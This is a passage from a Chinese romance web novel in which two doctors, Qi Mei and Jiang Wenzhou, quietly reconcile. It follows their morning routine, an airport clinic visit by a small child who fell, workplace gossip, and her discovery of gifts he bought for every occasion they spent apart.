在等秦一鸣回信息的间隙,江问舟把手掌垫在后脑勺下,看着齐眉掀开被子下床的背影,睡裙都已经皱得快像咸菜了,折痕在后背错杂出一种慵懒和随意。 齐眉没有把发圈从头上解下来,就这么顶着要出门去洗漱。 看她从床尾走过去,江问舟忽然问了句:“西西,我们现在算复合了吗?” 齐眉握住门把手,愣了一下才扭头看他,咬着嘴唇,眼睛里透着紧张,神色似乎很犹豫。 当然,也很挣扎,那种欲言又止的感觉特别明显,让江问舟一眼看到她的为难。 他的心紧接着便咚的一下,沉到了谷底。 但没等他开始想应对的办法,就听齐眉吞吞吐吐地开口:“能……嗯、就是……能不能先、先别跟干爸干妈说?” 说完眼神一撇,往旁边看了过去,似是不敢和他对视,表现心虚极了。 她知道这是强人所难,可是她也有她的担心:“我怕……我怕他们受不了,他们年纪大了,不能受刺激……” 说到最后愈发心虚,声音随之变得很低,渐渐听不见了,只抬头眨眨眼看他一下。 江问舟哦了声:“那我们是要搞地下恋?” 两个人加起来都六十岁了,还玩这种把戏? “……不、不行吗?”齐眉一噎,有些讷讷。 “行啊,怎么不行,我现在要求很低的。”江问舟有些自嘲地笑笑,又半是调侃半是吐槽地抱怨道,“给你当男人真是惨过做鸭。” 齐眉一愣,眼睛都睁大了一圈:“???” 她听到了什么?做鸭,什么鸭?是哪种鸭??? “你、你怎么……”她有些磕磕巴巴的,话都说不利索,满脸都是震惊。 这表情莫名取悦到了江问舟,他挑眉哼了声,反问:“觉得我说得不对?难道不是事实吗?男模还能有钱拿,我呢?既没名分,还要贴钱。” 他说的是以前每个月把奖金转她账户里当生活费的事。 齐眉嗫嚅一下,抬手想挠头,可抬到一半觉得这样对头发不好,又放下了,说:“那你也可以不给……” “不行啊,我们家祖传老婆做主,你忘了?”江问舟老神在在地应了句,从床上坐起来,扒了一下头发,眯着眼掀开被子找鞋。 下床以后用力伸一个懒腰,叹口气,正准备吐槽人怎么要上班,就见齐眉还愣愣地看着他。 于是到了嘴边的吐槽又咽回去,问她:“怎么不走?你不去刷牙洗脸就先让让,我快迟到了。” 齐眉一激灵,回过神来,连忙拉开门往外走。 听到身后接着响起的脚步声,她觉得脸上一阵阵的发热。 其实那句话本来没什么,他以前开玩笑也说过,但现在再听,她却觉得莫名别扭。 这人也太自在了,怎么跟在他自己家似的,她心里嘀咕,又吐槽,谁是你老婆,不要脸! 江问舟跟在她后面挤进卫生间,从镜柜里找到上一次他用过的那副口杯牙刷。 一面将挤好牙膏的牙刷往旁边一递,一面温声道:“家门口密码给我一下,我晚上过来一趟。” 声音平静,问得特别理所当然,让齐眉想起刚住到一起时,他们要给新找的房子换把锁,约的安装师傅过来那会儿,他刚被科里的紧急电话叫走,等他处理完病人回来,锁早就安装好了,她还把密码给重置了。 他一边吃饭一边问她新的密码是多少,还开玩笑说要是不知道密码,又没有钥匙,他就要在外面当看门大爷了,被她吐槽说,你先能回得比我早再说吧。 “032112。”她回过神,报了一串数字,将牙刷塞进嘴里。 江问舟在嘴巴里捅咕两下牙刷,死活想不起来这串数字有什么意义,只好问:“咱们家谁是03出生的?爸妈偷偷生的二胎?” 这个年份对他们大人来说小了点,对金金和年年来说又太老了。 齐眉一噎,差点没被嘴巴里的牙膏沫子呛死,二胎,真亏他说得出口。 她侧眼白了他一下,含含糊糊地吐槽他离谱,江问舟装听不懂,漱干净口后开始刮胡子,还不忘回敬她:“叽里咕噜说什么呢?听不懂,是不是年中大促了?给我买个电动牙刷。” 齐眉:“……” 这人可真是自来熟!才在这儿睡了一晚,你就真把这里当自己家了?还让我给你花钱,合适吗? 她还没吐槽完,就听他继续道:“这边一附院是每个月八号工资到账,卡一会儿给你。” 意思就是每个月八号他会给她转钱,齐眉眨眨眼,看着镜子里他刮胡子的动作,问道:“哪张卡?” “多的那张。”江问舟慢悠悠地应,“我经常还要给学生和下级管饭和下午茶的,你给我留点面子。” 齐眉抿抿唇,没忍住笑了一下。 诶呀,江医生现在确实是今非昔比了,以前哪用做这种面子功夫。 江问舟刮完胡子,齐眉也洗漱好了,等他换好衣服从客房出来,她已经梳好头发,正往脸上抹防晒。 腰上突然横过来一条手臂,她吓了一跳,猛地打一下哆嗦,差点条件反射给他一拳。 见她一愣,江问舟侧头就要亲过去。 但却在要碰到她脸的时候被她温热的手心捂住了嘴。 “……等等。”齐眉眨眨眼,有些紧张,“你刚才还没正面答应我,先不跟干爸干妈说,好不好?” 江问舟没有立刻吭声,定定地看着她,他们离得很近很近,足够让他清楚看到她眼睛里的所有情绪。 除了紧张还是紧张,中间或许还夹杂着一丝愧疚。 他将她的手拉下来,叹口气:“我说不好,你会答应吗?” 齐眉不吱声,他接着自问自答:“不会,不但不会,逼急了你还会把我一脚踹了,让我鸡飞蛋打。” “我已经三十三岁了,是个成熟的大人了。”他说,“不可能再做这些杀敌八百自损一万的事。” 他的笑意有些虚浮,语气却平静:“但西西,我想提醒你,人既要又要很容易什么都没有,如果再来一次……那样的事,我会拉着你一起下地狱。” 齐眉:“……”突然觉得有点冷是怎么回事:) 她想笑,但又不好意思,只能咬唇点点头。 江问舟弯腰过来,衔住她嘴唇嘬了一下,很快就放开,“我先走了,你开车小心。” 说完不等她答应,转身就走,背影和脚步看起来都匆匆。 齐眉抿着唇看着他的背影消失在玄关,神情忽然恍惚,好似时间瞬间倒流,回到了几年前他们还住在一起的时候。 清晨醒来他就在枕边,会一起挤在狭小的卫生间里洗漱,顺便聊些生活上乱七八糟但又比较重要的话题,比如就像今天,他会说要一个电动牙刷,让她买。 可是在今天之前,都还不是这样的…… 她想起自己刚回来时,过了大半个月还连家门口的公交线路都没弄明白,不由得讪讪。 她的适应能力和恢复能力比起江问舟,真的是相去甚远。 ——她不会知道,在她不在的这几百个日日夜夜,江问舟是如何哄骗自己这只是一次时间稍微长了那么一点点的暂时的分离。 这和她的情况完全不一样。 齐眉的住处离容医大一附院其实不远,早上的路况还可以,江问舟只花半个多小时就到到了办公室。 不过到的时候已经开始交班,站在门口的学生发现他,就往旁边让了让,空出一点位置给他。 他用气声道声谢,站好了一边听里面郭主任在讲评病历,说一会儿要大查房,一边在心里盘算以后如果在齐眉那儿过夜,第二天该几点起来上班比较合适。 衣服得收拾几套过去,猫的东西带不带?不带吧,买新的,反正短期内估计它都得两头住…… 等他开始想到底要怎么样,才能让爸妈相对容易接受他和齐眉之间关系发生转变这件事,里面早交班结束了。 一群人要往外走,江问舟立刻转身走到门外,让开了路。 但却被出来的郭主任一把揪住衣领,问道:“你今天怎么迟到?我听秦一鸣说你有私事,什么私事?睡过头了?” 一旁其他人立刻好奇地看过来,支着耳朵准备听八卦似的。 江问舟先是有些不好意思,抬手蹭蹭鼻尖,随即笑起来。 那笑容浮在眼睛里,很浅,但很柔和,像是怎么忍都忍不住。 郭主任觉得他这眼神很熟悉。 下一秒就听他说:“金金妈妈回来了。” 郭主任愣了一下,紧接着才想起,金金是他养的猫,以前还在申城的时候,有时候和学生们聚餐,时间晚一点,他就要说得回去喂猫了。 至于猫的妈妈……应该不是说母猫吧? 他想了想,有些惊讶地问:“真的假的?” 江问舟便知道他听懂了,点点头,嗯了声。 郭主任顿时笑起来,伸手捏捏他肩膀,调侃说:“算你识相,是个好消息,今天就不追究你迟到的事了。” 说完拍拍他肩膀:“改天有时间一起吃个饭。” 江问舟笑着点头应好,转头见秦一鸣他们就在身后,旁边还有几个学生,便示意他们跟上一起去查房。 蔡朝好奇地问:“老大你说的是什么私事啊?” 陈妍在一旁鹅鹅鹅地笑出声:“我们刚才还说,这好像那个探案综艺里面的,盘线索的时候,每个不在场的人都有私事,什么私事你别管,反正就是有私事。” “我知道这个节目。”蔡朝立刻笑嘻嘻地应道,“每个人之间都说不认识,但一问都有仇。” 俩人嘻嘻哈哈的,注意点立刻就被带歪了,秦一鸣和沈媛听得非常绝望。 看来想靠这俩人吃瓜,非得被带沟里去不可。 沈媛只好看一眼秦一鸣,示意他打听打听。 秦一鸣摇摇头,她就在小腹前比划了一个拳头。 秦一鸣嘴角一抽,出了一个巴掌,俩人就这样猜起拳来,五局三胜,他输了,就撇撇嘴,凑到江问舟身边。 小声问:“老大,金金妈妈是谁啊?” 对嘛!这才是该问的重点嘛!!! 江问舟被这群人搞得哭笑不得,想打听八卦就直接问,怎么还要多一道你推我我推你的工序,不会以为他看不见吧? 但是对于怎么回答秦一鸣的这个问题,他有些犹豫。 这里是容城,谁也说不好这事会不会七传八传,最后通过某个他也不认识的人,传到孙茂芸或者江眀琮那里。 他犹豫半晌,还是摇了摇头:“这真的是私事,抱歉。” 说完顿了顿,又补充道:“也许过段时间我可以告诉你们,但现在不行。” 秦一鸣心里一动,先回头冲沈媛他们耸耸肩,看*吧,就说问了也没用,我努力过了。 接着等大家都跟着向前走了,才小声问江问舟:“是好事?” 江问舟抿抿唇,点点头。 秦一鸣见状便不再问下去了,他觉得自己大概、应该已经知道是什么事了。 节后第一天的工作似乎比平时还要忙碌一些,比如查房时要处理和回答的问题会比平时更多,江问舟跟着大部队查了一间病房,就觉得时间有点来不及了,索性让其他人继续跟着主任查房,他自己先去看一眼组里的病人。 匆忙看完一圈,赶在九点整进了手术中心,准备洗手之前还给齐眉发了一条信息:【记得给我买电动牙刷[微笑]】 刚和同事交完班,打开观察室的消毒灯,拉上门出来的齐眉:“……” 复合第一天你就开始使唤女朋友,这对吗? ————— 机场的医务点最常见的就是腹痛腹泻之类小毛病的旅客,齐眉刚坐下,就听到一阵嗷嗷的哭泣声由远及近。 抬头一看,一个哭得满脸通红的小男生被爸爸提着衣领,匆匆走进医务室。 “医生……” “这是怎么了?”齐眉吓了一跳,连忙戴上口罩起身去接孩子,“哪里不舒服?” 边说话边打量着孩子,看见他的额头上有一片淡淡的红色,仔细看还有些肿,右边膝盖有明显的擦伤痕迹,小小的血珠看上去已经凝结。 “摔倒了?什么时候在哪儿摔的?”她让孩子家长赶快把孩子放下,“别提着了,勒脖子不舒服呀。” 孩子妈妈这时推着行李箱气喘吁吁地赶到,进门第一件事就是一巴掌打在丈夫后脑勺上,骂他有病:“你提他干嘛,勒窒息了怎么办?你以为你是在提猪肉炖粉条?!” “……他不让我抱,我能怎么办。”孩子爸爸也很委屈,把儿子在一旁的椅子上放下,摸着后脑勺被妻子推得退到一边去。 陈羽丹想笑,但又觉得不合适,最后笑是强忍住了,却打了一声嗝。 齐眉嘴角一抽,赶紧追问一遍自己刚刚问过的问题:“这位家长,小朋友是什么时候,在哪个地方摔倒的?” “不好意思啊,医生,耽误你时间了。”孩子妈妈不好意思地应道,“就是在出安检那儿的扶梯上,他不老实嘛,他爸要抓他,他往前跑,结果自己绊自己一脚,就脸洗地了呗。” 说完还耸耸肩,又满脸庆幸:“幸好脸没擦伤,不然怎么见人。” 齐眉:“……”妈妈看起来也很心大呢,果然一个被窝睡不出两种人。 她让陈羽丹给孩子拿了个冰袋敷住额头,然后仔细检查孩子头上还有没有不舒服的地方。 边检查边笑眯眯地问这里疼不疼,那里疼不疼,小朋友脸上挂着眼泪,一边抽噎一边回答她的问题。 还跟陈羽丹道谢:“谢谢、姐姐。” 说完抽一下,打了个嗝。 哎呀,这孩子看上去真可爱,陈羽丹忍不住点了一下他的圆脸,蹲下来继续帮他处理膝盖上的伤口。 齐眉一边检查一边同孩子说话,先是问他:“宝宝你多大啦?” “三、三岁!”小家伙伸出两个手指应道,犹犹豫豫的,又伸出第三根手指。 齐眉在他面前举起一根手指,问他:“这是几呀?你能不能教教阿姨?” “1!”小家伙立刻大声回答道。 齐眉看着他明亮精神的眼睛,笑着点头道谢,接着问他有没有觉得头晕,有没有哪里不舒服,尽量用小小朋友能听得懂的词汇,比如将头晕解释成感觉自己在转,诸如此类。 一旁的家长一度想帮忙回答,都被陈羽丹阻止了,提醒他们:“这是在排除脑震荡风险,还是要以小朋友的感受为准哦,爸爸妈妈也不是本人,不一定清楚本人的感受。” 家长一边哦哦答应,一边又忍不住嘀咕,孩子还这么小,能听懂大人在说什么吗? 可事实就是,小朋友真的每一个问题都回答了上来,齐眉有意无意地问了三遍,他都肯定地回答,没有感觉自己在转来转去。 根据家长提供的摔倒时间开始计算,齐眉一共观察了二十多分钟,确定孩子没事以后,这才摸摸他的头,笑眯眯地夸了句:“宝宝好棒。” 这时她才跟孩子的家长道:“初步看起来没什么问题,但建议你们接下来还是要注意观察,特别是小心观察孩子有没有恶心呕吐、头晕之类的症状,如果有不适,一定要立刻前往医院就医,天气热,要注意防暑降温,如果还是不放心,可以拍个片子看看。” 家长连连道谢,齐眉低头看向坐在椅子上乖巧看着大人的小家伙,眼睛湿润润的,额头上那个小小的肿包看起来怪可怜的,不由得心里一软。 “宝宝哭得喉咙疼不疼呀?能不能吃润喉糖?”她边说边从口袋里掏出一根棒棒糖,看向小朋友家长,解释说,“中医院配的润喉糖,健脾的,主要成分是山楂、陈皮和茯苓,小朋友能吃吗?” 孩子妈妈连连点头,跟儿子说:“快谢谢姐姐。” 小家伙眨眨眼,犹豫了一下,才按照妈妈教的说了声:“谢谢……姐姐。” 齐眉忍俊不禁,把棒棒糖塞他手里,“可以叫阿姨的。” 她话音刚落,大家都笑起来,孩子妈妈还好奇:“医生你是特地准备的糖吗,很多小朋友来看病吗?” “不是。”齐眉摇摇头,解释道,“是我这段时间咳嗽,家里人给我准备的。” 孙茂芸当时去药材批发市场买汤料,路过省中医时想到邻居说之前儿媳妇也是咳嗽,去省中医看医生,给开了柑桔润喉含片,还有点用,就去给她买,看到有棒棒糖,听说加了山楂茯苓这些好东西,也给她买了点。 “不甜,也不腻,还挺好接受的。”齐眉笑着道。 这玩意除了贵,没别的任何毛病。 聊了两句,家长再次道谢,牵着孩子走了,走的时候小家伙还乖巧地冲她和陈羽丹使劲摇摇手。 这一家三口离开后,齐眉一时半会儿也没什么事,想起来江问舟要电动牙刷,便问陈羽丹:“现在购物网站的年中大促开始了吗?” 陈羽丹听了先是一愣,随后惊讶反问:“妈呀,眉姐你多久没网购啦?大促都开始半个多月了,现在都第二波活动咯。” 齐眉一愣,倒吸一口凉气:“今年怎么这么早?那我岂不是错过第一波最便宜的时候了?” 过期的优惠如砒/霜,都怪江问舟,要不是他扰人心神,让她只顾着胡思乱想,又怎么会错过买东西的大好时机! 齐眉觉得很心痛,特别是听到陈羽丹说她去直播间买,领到不少红包,买东西加起来还额外省了两百多,顿时哇了一声。 “我看直播间也有电动牙刷,贵的便宜的都有,眉姐你怎么现在才想起要买,都不发红包了。” 齐眉觉得心好痛,语气难过地问:“……真的不发了吗?” “人家都第一天预售的时候发的,下回你等十一月的时候,我喊你。”陈羽丹有些遗憾地耸耸肩,又好奇问她,“怎么这个时候才想到要买牙刷,正好这两天坏啦?” 齐眉眨眨眼,含糊地嗯了声,一面点开购物软件看看还有没有什么优惠券可以领,一面在心里吐槽江问舟要求提的真不是时候。 挑到最后为了凑单用券,她索性买了三把电动牙刷,除了江问舟的,还给孙茂芸和江眀琮也各带了一把。 然后截图给江问舟看时,还特地强调:【黑色的是顺便给你买的。】 发完信息一看时间,十一点半,陈羽丹刚好从门外进来,催她:“眉姐你快去吃饭,今天食堂有烤乳鸽,去晚可就没了。” “今天这么好伙食?”齐眉有些惊讶。 “好像说是有领导下来检查。”陈羽丹回答道,掏出手机要点咖啡,“眉姐要不要喝,我请你啊,咱们九块九全款拿下!” 齐眉笑眯眯地说好呀,要了杯生椰拿铁,找出饭卡就去食堂了。 食堂正是饭点热闹的时候,齐眉不出意外又碰上组长杨恒,和之前努力撮合她和肖涵的那位同事。 她上次拒绝得非常坚决,同事就不再提这事了,今天聊的是八卦,说端午回老丈人家探亲时,听到丈母娘说起的村里的八卦。 “……她要是喜欢她姐夫,我都能理解,但喜欢她姨夫,这是不是太炸裂了?” 只要不提给她介绍对象的事,齐眉和这位同事还算聊得来,关系也不错,闻言立刻问:“怎么说,到底是什么事啊?” “就是有个姑娘,跟你差不多大的,一直也没成家,家里人都以为她是谈了个男朋友在外面,还不到带回来的时候,结果上个月有人在县里看见她跟一个五十多的老男人手挽手去看电影,好奇嘛,就追上去看,好家伙,那个老男人是她姨夫!” 齐眉惊讶地哦了声,问:“她阿姨知道吗?” 问完想到自己和江问舟,又忙问:“亲生的吗?不是亲姨的话……就是喜欢了个年纪比较大的、熟男……也还好吧?” 同事使劲摇摇头:“当然是亲的了,她小姨去年刚肺癌走了的。” 齐眉这下真惊讶了,倒吸一口气:“这是怎么喜欢得起来的?这种长辈经常见的吧,逢年过节就问你学习成绩教你做人什么的……这都喜欢得上,跟上个班就喜欢领导有什么区别?” 这话说得同桌的人都忍不住笑起来,还有女同事说:“也不知道图什么,图他年纪大不洗澡?给自己表哥表姐表弟表妹当后妈,哇靠,听起来就很……让人无语。” “是吧,我丈母娘就这么说的,这家人现在还闹着呢,啧啧啧,这不就是乱/伦么。”爆料的同事啧啧两下,跟他们绘声绘色地描述一番这家人到底是怎么闹的。 “一句话形容,天都塌了!” 齐眉听着听着,忽然说了句:“要是他们没血缘关系,就是妈跟小姨只是好闺蜜这种,是不是会好点?” “怎么可能,不管有没有血缘关系,那都是长辈。”有同事立刻反驳她的说法,“再怎么样也得讲点伦理道德吧,除非就是喜欢这种背德感。” 齐眉眨眨眼:“那要是平辈呢?” “平辈也得看有没有血缘啊。”同事啧了声,说她,“你不会最近看什么小说了吧?这要是血缘太近,直系血亲或者三代以内旁系血亲,禁止结婚的啊,犯法的!要是没有血缘,那不就是青梅竹马,这跟背不背德一毛钱关系没有。” 这位同事刚说完,爆料的同事立刻就说:“但是有那种已经出了三代的旁系血亲,就是他俩是表兄妹,往上数四代,高祖那一辈是亲兄妹,在一起的时候家里不同意,他俩就跑了,跑了几年,女方爸爸过世,知道消息后回家奔丧,还带俩孩子,家里这才认了这门亲事。” “孩子没什么问题吧?”杨恒问道。 “这不知道啊,没听我丈母娘说过。”爆料同事摇摇头,笑笑,“这种我觉得是不算什么,都离得这么远了,估计不会有什么问题。” 齐眉听了眨眨眼,忍不住又往自己和江问舟身上套。 要不……过几天回家吃饭,给干爸干妈讲讲八卦?她也不想江问舟一直做鸭都不如的:) 江问舟看到齐眉发的消息,已经将近中午一点,下台后他洗了手,一边往休息室走,一边看手机。 看到齐眉发的订单截图,愣了一下,退出去看短信信箱,没有任何扣款信息。 难道是短信通知欠费?不应该啊,银行卡有钱,服务费不是自动扣的么? 于是他试着用那张卡给自己充了一笔话费,果然很快就收到银行的信息。 弄明白不是自己这边的问题之后,他便问齐眉:【你是不是付款的时候选错卡了[疑惑]】 他早上出门的时候,把那张卡放在了玄关柜上,忘了跟她交代一声,但就放在她的包旁边,应该能看见才是。 齐眉从食堂回到医务点,还没来得及坐下,就接到同一层另一个医务点的支援通知,提着医疗箱就急急忙忙去帮忙。 等将突发心梗的旅客送上救护车,她折返回到自己的点位,刚放下医疗箱就看见桌上排着两杯饮料,一杯是她要的生椰拿铁,另一杯是果茶。 “果茶是哪儿来的?”她疑惑地转头问陈羽丹。 陈羽丹正在整理要补充进自动贩售机的药品,闻言头也不抬地回答道:“肖涵请的呗。” 齐眉呃了一下,赶紧把那杯水果茶拿起来放到对面:“……那、那你喝吧。” 陈羽丹这时才抬头看她一眼,噗嗤一笑:“放心啦,这个是他表示道歉的,也给我送了一杯,喏,还没喝完呢。” 齐眉顺着她的动作往旁边一看,确实还有另一杯喝了一半的水果茶在电脑旁边。 她眨眨眼:“没事,你都喝了吧,我最近咳嗽还没好,不能喝太甜的东西。” 陈羽丹应了声好吧,又跟她说:“放心吧,他已经想通,放下了,不会再来找你啦。” “……你怎么知道?”齐眉问道。 “我跟他聊的呀。” 陈羽丹说节前去体检时在医院时碰到肖涵,他想给爸妈预约体检,但不知道具体有什么项目,她说可以等去帮忙的时候帮他看看,就加上了联系方式。 “聊了几次,我打听的,主要是想打消一下他的念头,别再来找你了嘛,经常来的话其他同事又会误会,影响有点不好。” 齐眉听了连连点头:“对对对,就是这样,刘姐他们都误会了,我跟他根本不可能,我都……” 话说到这里她猛然一顿,意识到自己差点说漏嘴。 幸好陈羽丹没多想,把药品清点好以后,签了字,推给她检查,顺口继续道:“所以呀,我就旁敲侧击嘛,他就说其实自己也知道没什么希望,被拒绝了也正常……” 齐眉一面听她说话,一面打开手机看信息,看到江问舟两分钟前发来的消息,她忍不住咬住嘴唇。 半晌才回复:【我想了想,要不还是你自己拿着吧,你花钱的地方多,出去吃饭,发现自己不够钱结账,多难看啊。】 江问舟:“……”你担心得真够多的。 他啧了声,问她:【真不要?】 发出去过了一会儿,才看到她回的一个乖巧点头的表情包,一时又忍不住啧了声。 江问舟:【那我真不给了?】 齐眉:【给了也没什么用呀,除非我们一起去银行改卡的信息,把卡变成我的,可是太麻烦啦。】 也是,信息还是他的,密码没有改,其实就算他用了钱,她也不知道,除非她能时刻检查余额,但是…… 江问舟眉头一挑,这是单纯的严谨,还是借机试探? 他感觉到了熟悉的味道。 江问舟:【那就去吧,我问问银行中午办不办业务,明天就去办。】 齐眉看到这句话,又使劲眨眨眼:【这不好吧?】 江问舟准备吃饭,吃完饭还要回科室处理一点其他工作,没太多时间耗在纠结这个问题上。 好在他有杀手锏:【不来我就跟妈说……】 说什么,他没明讲,但齐眉看得懂,不就是跟干妈说他们的事么。 她吐吐舌头,回他一个表情包:【已尝试,已老实.jpg】 江问舟看了便忍不住笑,现在关系变回以前,她的习惯也跟着变了回去。 真好啊,他想,连外面天气骤变阴云密布的天空都觉得可爱。 第39章 第三十九章(二合一)你妹妹跟人打架…… 早上八点半,接班的同事还没来,齐眉就忍不住频频往外张望。 陈羽丹好奇:“眉姐你怎么一直往外看,看什么呐?” 齐眉犹豫半晌,还是忍不住问:“刘姐怎么还没来?” “这才八点半,刘姐还得十几分钟才能到呢。”陈羽丹回答道,问她,“你今天是有什么急事要去办吗?” 齐眉眨眨眼,沉吟片刻,嗯了声:“……要去趟银行,办点事。” 其实也没这么赶,但她就是控制不住想快点走。 昨晚大概十一点左右,江问舟给她发了信息,说搬了点东西过去他那儿,梳妆凳上有个箱子,里面的东西是给她的。 她问是什么,他就一直给她发金金的照片,还都是抓拍的同一角度,镜头怼得近近的,让她看小家伙饱满的腮帮子,还有乱七八糟的胡子。 然后她就忘了追问他到底给她准备了什么东西,等反应过来,已经是半夜两三点。 她睡前水喝多了,睡到半夜被憋醒,在卫生间吸顶灯的白光里恍恍惚惚,在心里吐槽这人真是狡猾。 可恶!居然用小猫炮弹! 等到天亮,这种吐槽就变成了好奇,并且随着下班时间的靠近,这份好奇也变得越来越强烈。 陈羽丹没问她是去办什么事,哦了声道:“再等等呗,刘姐马上就到了。” 毕竟要责任到人,要当面交班和本人签字确认,门口还有摄像头看着呢,她也没法代劳。 齐眉点点头,叹口气,觉得时间过得挺慢,十几分钟就像十几年。 好不容易等刘医生到了,匆匆交过班,她提着包就一溜烟跑了,走的时候还听到刘医生调侃:“还是第一次见阿眉急成这样,像被鬼追一样。” 胡说!怎么会是鬼!她只是…… 只是好像回到了很多年前,还全心全意喜欢着江问舟,期待和他见面、相处的每一分钟,放学或是下班了,着急去见他罢了。 年年最近都在村里陪干爸干妈,所以家里特别安静,但总觉得看起来哪里有点不一样,好像和昨天她离开时相比,多了点什么。 但具体多了什么,又没法立刻说得上来。 齐眉索性不再寻找,换了鞋后便直奔卧室,刚推开门探头往里一看,就看见梳妆凳上放着一个鹅黄色的大纸箱。 纸箱可能原来是装猫粮之类的,外面印有一个很可爱的猫咪在抓逗猫棒,那只猫看起来和金金有点像。 但里面肯定不是猫粮,她走近之后,发现纸箱上还有一张红色的贺卡,贺卡上是盛放的香槟玫瑰。 打开贺卡,江问舟那熟悉的刚劲有力的字迹随后映入眼帘。 【西西: 提前祝你生日快乐,未来可期,希望你在接下来的人生里,可以做任何自己喜欢的事,不用讨好任何人,不用委屈自己,做最开心的自己。 另祝,生意兴隆。】 齐眉将这几行字翻来覆去地看了好几遍,将每个字都反复咀嚼。 心里渐渐生出来一些委屈,是原来的委屈被看见和被安抚之后,重新生出的那种委屈。 类似于小孩子越被哄就哭得越厉害,忍不住抱怨,你以前为什么不跟我说这些话,为什么不哄哄我? 可这些话以前江问舟不是没有说过,只不过说的都是“看你喜欢哪一个”或者“你喜欢最重要”之类,这么正式地跟她说希望你做最开心的自己,确实是第一次。 从她八岁到江家,此后的这些年,除了分开的这几年,他每一年都有给她准备生日礼物,给她写贺卡,但贺词都没有这次的正式。 正式到更像是郑重。 她仔细端详着贺卡,发现尽管字还是那么好看,但“生日快乐”之后的笔迹明显有些滞涩,甚至越往后,笔画就越深刻,似乎用了很大的力气,直到最后“生意兴隆”那里,才恢复一开始的轻盈。 齐眉第一次发现,自己竟然可以从一个人的笔迹上,就读到写字人的情绪变化。 是她观察敏锐了,还是江问舟的情感过分坦诚? 她抿抿唇,将贺卡在梳妆台上放下。 刚放下,又伸手拿起来,拉开抽屉,将它放进装着各种证件的盒子里。 这才收回注意力,将目光转向用透明胶带密封好的纸箱上。 “到底是什么,神神秘秘的。”齐眉终于忍不住嘀咕。 找来拆快递的小刀将箱子封口拆开,映入眼帘的先是某珠宝品牌的盒子,酒红色的盒盖上还有玫瑰花暗纹。 将绑在盒子上的缎带蝴蝶结抽开,盖子拿开,便看见一条很宝石项链,玫瑰金的项链和镶嵌非常简洁,一点多余的花纹或者配石都没有,只有两颗水滴状的宝石。 一颗红宝石一颗蓝宝石,头对头贴在一起,就成了一个爱心的形状。 款式看起来很低调,但齐眉愣了一下,便抬手摸了摸脖子上的项链。 干妈给她定制的今年的生日礼物,吊坠上镶嵌了红宝石,当时在珠宝工作室,商量图案的时候,他还提议另一面可以用金金的头像,被她以金金不是她的猫为由婉拒。 当时干妈还说什么,你哥的就是你的。好好好,现在我哥的猫真的就是我的猫了! 齐眉想到这里就高兴了,白得一猫,不高兴才怪。 看得出来是江问舟特地挑的款式,红宝石是她的生辰石,蓝宝石是他的生辰石,可要是他们不主动说,罕有人能想到这上头去,她便想什么时候什么场合佩戴都可以。 齐眉觉得自己很难不喜欢江问舟这样的人,他明明不高兴她的决定,但又会一些细节之处为她周全。 人和人之间似乎总是有意无意地发生博弈,更心软的那一方总会多受一点委屈。 齐眉将项链放回盒子,接着去拿其他盒子。 她惊讶地发现,这些全都是礼品盒,每一个礼品盒上,都用马克笔标记着具体日期。 这些日期基本都是情人节、七夕、圣诞节、春节、她的生日,还有…… 他们当时正式在一起的日期,十月二十日。 过去两三年间,他们互相缺席对方的这些节日,江问舟每一个都准备了一份礼物。 齐眉以为是他临时补的,就是一次性去采购好几件,然后装进盒子里,再写上日期。 但等她真的开始拆,才发现并不是这样的。 她拿起一个粉色的盒子,将外面那层包装纸剥开,看见一个印有某黄金品牌商标的红色包装盒,再打开盒子,里面是一条蝴蝶手链,一大二小三只蝴蝶都做得很精致,非常闪耀,链子细细的,看上去很日常。 但这个款式她很早就见过,不是这个品牌主推的新款了…… 齐眉欣赏了一会儿手链,这才继续看盒子里都有什么。 盒子底部有一张收据,日期是在他们分开的第一个圣诞节当天,单子底部有专柜地址,是申城某个他们以前经常会去吃饭的商场。 齐眉愣了一下,旋即意识到自己刚才的想法是错的,立刻迅速将箱子里的礼品盒都拿了出来,拆包装时发现自己的手似乎有些颤抖。 将盒子全都打开,整理之后发现,里面除了礼物本身,还有一些保修卡、退换货登记卡之类,甚至还有发/票,这些资料上,就会有店铺地址甚至是开票日期之类的信息。 这些信息并不统一,说明礼物并不都是昨天才购买的,而能找到的收据上显示的日期,却和包装纸上用马克笔标注的日期是一致的。 这说明了什么,齐眉用膝盖想,都能想得到。 她突然觉得有些胸闷气短,像被锤子狠狠砸了一下,剧烈的疼痛刚刚出现,就迅速变成酸涩和胀痛,眼底甚至出现针刺样阵痛,刺激得她不停眨眼。 除此之外,她还发现,每件礼物下面,都压着一张贺卡——这是江问舟的习惯,送礼物的时候,总要附带一张卡片。 齐眉将这些卡片一一打开,逐字逐句仔细阅读。 黄金蝴蝶手链的:【圣诞节快乐。今日金价合宜,款式也还不错,几年后也还可以戴,你应该会喜欢吧?】 铂金镶钻手镯的:【情人节快乐。今天手术日,下班已经很晚,商场里转一圈竟没找到很合适的礼物,想起你没有这个款式的手镯,不如补一支吧,下次我一定提前好好准备。】 翡翠无事牌吊坠的:【生日快乐。愿你余生顺遂,再无风雨。今日去安宁寺给无事牌开光,偶遇寺猫,长毛狸花,看起来很威武,巧合的是,师父说它的名字就叫少将军,幼时流浪,被寺里小师父收养后养得非常健壮,希望你也能像它一般,生活安逸,把自己养得健康壮美。】 黄金生肖佛项链的:【春节快乐。师姐给女儿买了一个生肖佛,说可以给孩子辟邪,我抄了她的作业,也希望你新的一年无病无虞,顺顺遂遂。PS:我看金店类似的款式很多,下次还去。】 齐眉边看边笑,仿佛看到他们以前一起逛街的场景。 手牵着手,头靠头地嘀嘀咕咕,商量要哪个才合适。 标注着今年情人节日期的那个盒子里,装着一双很漂亮很精致的尖头高跟鞋,银色的鞋面闪闪烁烁,好似水晶鞋。 他在卡片上写:【情人节快乐。愿你步履不停,永远向前,也向旧岁飞奔。】 到这个时候,他的一字一句,都还是充满希望的,字里行间的意思,是以后总有机会亲手将礼物送给她。 齐眉觉得喉咙发哽,不敢仔细去想他独自去买礼物,写好贺卡,将它包装好,最后将它们尘封进纸箱时,是什么样的心情。 是不是每个动作都极致轻微,生怕惊醒这大梦一场。 她忍住眼睛里漫涨的眼泪,拿起最后一个盒子里的贺卡,贺卡放在首饰盒上,在打开之前她重新看了一眼时间。 是他们分开的第一个元旦,距离购买那条黄金蝴蝶手链仅仅一周。 这又是什么?齐眉觉得有些奇怪,但又觉得这盒子上的商标有些眼熟,却一时想不起来具体怎么读。 疑问在她打开贺卡时全部解开。 【西西:毕业快乐。】 只有简简单单的四个字,但字迹潦草,看得出来写字的人心情非常杂乱,似乎无论如何都无法平静下来。 毕业快乐。 